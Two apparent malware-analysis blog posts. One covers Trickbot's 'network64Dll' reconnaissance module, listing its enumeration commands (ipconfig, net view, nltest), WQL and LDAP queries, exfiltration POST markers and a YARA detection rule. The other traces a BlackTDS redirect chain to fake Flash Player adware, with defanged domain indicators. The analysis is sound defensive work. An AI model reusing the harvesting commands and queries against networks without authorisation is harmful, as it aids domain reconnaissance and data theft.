While reviewing Twitter posts related to Trickbot malware, I was alerted by a few researchers @Ring0x0 and @v0id_hunter to the new module dropped by the Trickbot gang “network64/32Dll.” This specific module appears to be one single harvester of all possible network victim information from running commands such as “ipconfig /all” and “nltest /domain_trusts /all_trusts” to WMI Query Language (WQL) queries such as “SELECT * FROM Win32_OperatingSystem” to lightweight directory access protocol (LDAP) queries. Notably, the gang leverages “nltest” commands to establish trust relationship between between a compromised workstation and its possible domain before quering LDAP. This is not the first time this gang leverages LDAP; they also developer a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier.
This tiny 24 KB module DLL, compiled on Friday March 30, 08:52:12 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 32 functions.

Possible Attack Methodology

The module is likely used by the gang to expand their access to victim networks possibly identifying high-value corporate domains that they can exploit further either via their “tab” module implementing its ETERNALROMANCE exploit implementation, paired with Mimikatz and/or establish deeper network persistence before they deploy additional malware.
The decoded Trickbot “network64Dll” module contains the usual Trickbot export functions:

  • Control 
  • FreeBuffer
  • Release
  • Start
The module framework is as follows:
I. Network Collector Module
II. Network Communication 
III. Yara rule
I.  Network Collector Module

A. ***PROCESS LIST***
Collects all processes via CreatoolHelp32Snapshot iterating through running processes.
B. . ***SYSTEMINFO***
The list of queried WMQ is based from this expression:
  • SELECT * FROM Win32_OperatingSystem
C. CMD-based calls
The list of all simple command leveraged by the gang:
  • ipconfig /all
  • net config workstation
  • net view /all
  • net view /all /domain
  • nltest /domain_trusts
  • nltest /domain_trusts /all_trusts
D.  LDAP network and domain queries


The list of some of the grouped LDAP queries:
a. ***LOCAL MACHINE DATA***
  • User name
  • Computer name
  • Site name
  • Domain shortname
  • Domain name
  • Forest name
  • Domain controller
  • Forest trees
b. ***COMPUTERS IN FOREST***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
c. ***USERS IN FOREST***
  • E-mail
  • Comment
  • Description
  • Name
d. ***COMPUTERS IN DOMAIN***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
e. ***USERS IN DOMAIN***
  • E-mail
  • Comment
  • Description
  • Name
II. Network Communication

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name=”proclist
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}
B. Content-Disposition: form-data; name=”sysinfo
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7″ appears to be a marker/separator specifically for the LDAP query collection upload to split the harvested information. Thanks to @Ring0x0  for the share.
III. YARA RULE
rule crime_trickbot_network_module_in_memory {
meta:
description = “Detects Trickbot network module in memory”
author = “@VK_Intel”
reference = “Detects unpacked Trickbot network64Dll”
date = “2018-04-02”
hash = “0df586aa0334dcbe047d24ce859d00e537fdb5e0ca41886dab27479b6fc61ba6”
strings:
$s0 = “***PROCESS LIST***” fullword wide
$s1 = “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))” fullword wide
$s2 = “***USERS IN DOMAIN***” fullword wide
$s3 = “Operating System: %ls” fullword wide
$s4 = “yesyes<conf ctl=\"SetCon" ascii
$s5 = “Content-Length: %lu” fullword wide
$s6 = “Boot Device – %ls” fullword wide
$s7 = “Serial Number – %ls” fullword wide
$s8 = “Content-Disposition: form-data; name=\”proclist\”” fullword ascii
$s9 = “Content-Disposition: form-data; name=\”sysinfo\”” fullword ascii
$s10 = “Product Type – Server” fullword wide
$s11 = “***SYSTEMINFO***” fullword wide
$s12 = “OS Version – %ls” fullword wide
$s13 = “(&(objectcategory=person)(samaccountname=*))” fullword wide
$s14 = “Product Type – Domain Controller” fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 70KB and 12 of ($s*)
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Malware Traffic Internals: BlackTDS Social Engineering Drive-By Leads to Fake "Adobe Flash Player"

Goal: Review and document latest BlackTDS traffic distribution leading to fake Adobe Flash Player and its social engineering theme.

Background

https://platform.twitter.com/widgets.js Traffic chain

I. BlackTDS domain redirect hxxp://smarttraffics[.]gq:

html, body { margin: 0; padding: 0; height : 100%; }

<span style="visibility: hidden“><a href="/insert“><VALUE<a href="/register“>
II. Popunder domain redirect using inser /register with hidden visibility.
hxxp://popcash[.]net/world/go/162193/360683
III. Popunder redirect
hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
IV. Fake “Adobe Flash Player” adware redirect:
Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=

V. Fake “Adobe Flash Player” adware download:
Domain: hxxp://www.bestrepositorytours[.]com/

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • Domain: hxxp://smarttraffics[.]gq
    Popunder:

    • Domain: hxxp://popcash[.]net/world/go/162193/360683
    Popunder redirect:
    • Domain: hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
    Fake Adobe Flash Player Adware Redirect:
    • Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=
    Fake Adobe Flash Player Adware Download:
    • Domain: hxxp://www.bestrepositorytours[.]com/
    Fake Adobe Flash Player Adware:
    • MD5: 69708785506cf581ea5f81725bdb849b
    Update (April 3, 2018): Edited domain referrer to hxxp://smarttraffics[.]gq